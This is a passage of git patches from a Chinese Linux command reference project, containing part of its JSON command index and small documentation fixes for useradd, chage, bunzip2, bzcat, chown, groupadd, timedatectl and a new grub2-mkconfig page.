行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file diff --git a/package.json b/package.json index 94419b1f722..f18ea257b13 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.11.2", + "version": "1.12.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 4aaa543e5e6be49f019ecd0b1996f59ff3a20498 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=B8=83=E6=9C=94?= <95358476+lxp731@users.noreply.github.com> Date: Mon, 3 Oct 2022 21:09:58 +0800 Subject: [PATCH 0560/1019] doc: modify `timedatectl.md` (#426) Co-authored-by: Qishuo <1799594843@qq.com> --- command/timedatectl.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/command/timedatectl.md b/command/timedatectl.md index 4c32dfa55ed..ab278ef66b4 100644 --- a/command/timedatectl.md +++ b/command/timedatectl.md @@ -30,6 +30,10 @@ Query or change system time and date settings. -H --host=[USER@]HOST 在远程主机上操作 -M --machine=CONTAINER 在本地容器上操作。 --adjust-system-clock 更改本地 RTC 模式时调整系统时钟。 + --monitor 监控systemd-timesyncd的状态 + -p --property=NAME 仅显示此名称的属性 + -a --all 显示所有属性，包括空属性 + --value 显示属性时，只打印值 Commands: status 显示当前的时间设置。 From 833b43d57b53b220e779705f5f59228f1750cd21 Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Wed, 12 Oct 2022 17:17:42 +0800 Subject: [PATCH 0561/1019] Update chage.md (#427) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Update chage.md * 更新useradd用法 --- command/chage.md | 2 +- command/useradd.md | 15 +++++++++++++++ 2 files changed, 16 insertions(+), 1 deletion(-) diff --git a/command/chage.md b/command/chage.md index 158ec1758e4..ab6eaa67fbd 100644 --- a/command/chage.md +++ b/command/chage.md @@ -21,7 +21,7 @@ chage [选项] 用户名 -w：用户密码到期前，提前收到警告信息的天数。 -E：帐号到期的日期。过了这天，此帐号将不可用。 -d：上一次更改的日期。 --i：停滞时期。如果一个密码已过期这些天，那么此帐号将不可用。 +-I：停滞时期。如果一个密码已过期这些天，那么此帐号将不可用。 -l：例出当前的设置。由非特权用户来确定他们的密码或帐号何时过期。 ``` diff --git a/command/useradd.md b/command/useradd.md index 9f9cb6b1c5f..772fad8f762 100644 --- a/command/useradd.md +++ b/command/useradd.md @@ -95,4 +95,19 @@ useradd caojh -u 544 需要说明的是，设定ID值时尽量要大于500，以免冲突。因为Linux安装后会建立一些特殊用户，一般0到499之间的值留给bin、mail这样的系统账号。 +新建一个普通用户： + +```shell +useradd lutixia +``` + +新建一个系统用户,系统用户一般用于管理服务，无需登录，所以分配nologin，限制其登录系统： +```shell +useradd -r -s /sbin/nologin mq +``` + +修改创建用户的默认参数，设置密码过期后到永久禁用的不活动时间为30天: +```shell +useradd -D -f 30 +``` From 12168960ea850ebddee047220e1c7680869194fe Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Sat, 15 Oct 2022 11:27:16 +0800 Subject: [PATCH 0562/1019] =?UTF-8?q?=E6=9B=B4=E6=96=B0bunzip2=E7=94=A8?= =?UTF-8?q?=E6=B3=95=20(#428)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/bunzip2.md | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/command/bunzip2.md b/command/bunzip2.md index 5e47e239101..940d29a884d 100644 --- a/command/bunzip2.md +++ b/command/bunzip2.md @@ -1,11 +1,11 @@ bunzip2 === -创一个bz2文件压缩包 + bunzip2可解压缩.bz2格式的压缩文件。 ## 补充说明 -**bunzip2命令** 解压缩由bzip2指令创建的”.bz2"压缩包。对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令，只能对文件进行压缩。对于目录只能压缩目录下的所有文件，压缩完成后，在目录下生成以“.bz2”为后缀的压缩包。bunzip2其实是bzip2的符号链接，即软链接，因此压缩解压都可以通过bzip2实现。 +**bunzip2命令** 可解压缩由bzip2指令创建的”.bz2"压缩包。bzip2可以对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令，只能对文件进行压缩。对于目录只能压缩目录下的所有文件，压缩完成后，在目录下生成以“.bz2”为后缀的压缩包。bunzip2其实是bzip2的符号链接，即软链接，因此解压都可以通过bzip2 -d实现。 ### 语法 @@ -37,4 +37,11 @@ bzip2 -9vk /opt/etc.zip /opt/var.zip /opt/backup.zip 压缩完毕后，在`/opt`下就会生成相应的etc.zip.bz2、var.zip.bz2和backup.zip.bz2文件。 +解压缩： + + +```bash +bunzip2 -v /opt/etc.zip.bz2 +``` + From a0cf6422dd87011a90dc4a2a281e4fcf35e86eb1 Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Sat, 15 Oct 2022 12:36:45 +0800 Subject: [PATCH 0563/1019] =?UTF-8?q?=E6=9B=B4=E6=AD=A3bzcat=E5=91=BD?= =?UTF-8?q?=E4=BB=A4=E7=9A=84=E7=9B=B8=E5=85=B3=E8=A7=A3=E9=87=8A=20(#429)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/bunzip2.md | 4 ++-- command/bzcat.md | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/command/bunzip2.md b/command/bunzip2.md index 940d29a884d..af76e5303a0 100644 --- a/command/bunzip2.md +++ b/command/bunzip2.md @@ -1,11 +1,11 @@ bunzip2 === - bunzip2可解压缩.bz2格式的压缩文件。 +可解压缩.bz2格式的压缩文件。 ## 补充说明 -**bunzip2命令** 可解压缩由bzip2指令创建的”.bz2"压缩包。bzip2可以对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令，只能对文件进行压缩。对于目录只能压缩目录下的所有文件，压缩完成后，在目录下生成以“.bz2”为后缀的压缩包。bunzip2其实是bzip2的符号链接，即软链接，因此解压都可以通过bzip2 -d实现。 +bzip2可以对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令，只能对文件进行压缩。对于目录只能压缩目录下的所有文件，压缩完成后，在目录下生成以“.bz2”为后缀的压缩包。**bunzip2其实是bzip2的符号链接**，即软链接，因此解压都可以通过bzip2 -d实现。 ### 语法 diff --git a/command/bzcat.md b/command/bzcat.md index 9e9a201ba54..010d23d1f20 100644 --- a/command/bzcat.md +++ b/command/bzcat.md @@ -1,11 +1,11 @@ bzcat === -解压缩指定的.bz2文件 +不解压，直接查看指定的.bz2文件 ## 补充说明 -**bzcat命令** 解压缩指定的.bz2文件，并显示解压缩后的文件内容。保留原压缩文件，并且不生成解压缩后的文件。 +**bzcat命令** 无需解压缩指定的.bz2文件，即可显示解压缩后的文件内容。 ### 语法 From 4c7735e7315e07624c822d14364de7ac025a9abe Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=9E=8D=E9=A9=AC=E7=A8=80?= <101485931+anmaxi68@users.noreply.github.com> Date: Sat, 15 Oct 2022 20:26:28 +0800 Subject: [PATCH 0564/1019] Update chown.md (#430) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更改错字 --- command/chown.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/chown.md b/command/chown.md index 0896b3ff064..221f9f6ae36 100644 --- a/command/chown.md +++ b/command/chown.md @@ -7,7 +7,7 @@ chown **chown命令** 改变某个文件或目录的所有者和所属的组，该命令可以向某个用户授权，使该用户变成指定文件的所有者或者改变文件所属的组。用户可以是用户或者是用户D，用户组可以是组名或组id。文件名可以使由空格分开的文件列表，在文件名中可以包含通配符。 -只有文件主和超级用户才可以便用该命令。 +只有文件主和超级用户才可以使用该命令。 ### 语法 From 5e5804945ae99ce1bf736361c46391b285f34575 Mon Sep 17 00:00:00 2001 From: Rining Wu Date: Wed, 19 Oct 2022 02:15:30 +0100 Subject: [PATCH 0565/1019] Update groupadd.md (#433) fix a mis-spell --- command/groupadd.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/groupadd.md b/command/groupadd.md index f7f6e583678..9cc1bce1bbe 100644 --- a/command/groupadd.md +++ b/command/groupadd.md @@ -18,7 +18,7 @@ groupadd(选项)(参数) ```shell -g：指定新建工作组的id； -r：创建系统工作组，系统工作组的组ID小于500； --K：覆盖配置文件“/ect/login.defs”； +-K：覆盖配置文件“/etc/login.defs”； -o：允许添加组ID号不唯一的工作组。 ``` From fbf588f8b96b018f9e3e772d4a78d44ce9ac6a12 Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Fri, 21 Oct 2022 15:31:36 +0800 Subject: [PATCH 0566/1019] Create grub2-mkconfig.md (#435) --- command/grub2-mkconfig.md | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 command/grub2-mkconfig.md diff --git a/command/grub2-mkconfig.md b/command/grub2-mkconfig.md new file mode 100644 index 00000000000..97d53f2acb5 --- /dev/null +++ b/command/grub2-mkconfig.md @@ -0,0 +1,30 @@ +grub2-mkconfig +=== + +生成 grub.cfg 配置文件。 + +## 语法 + +```shell +Usage: grub2-mkconfig [OPTION] +Generate a grub config file + + -o, 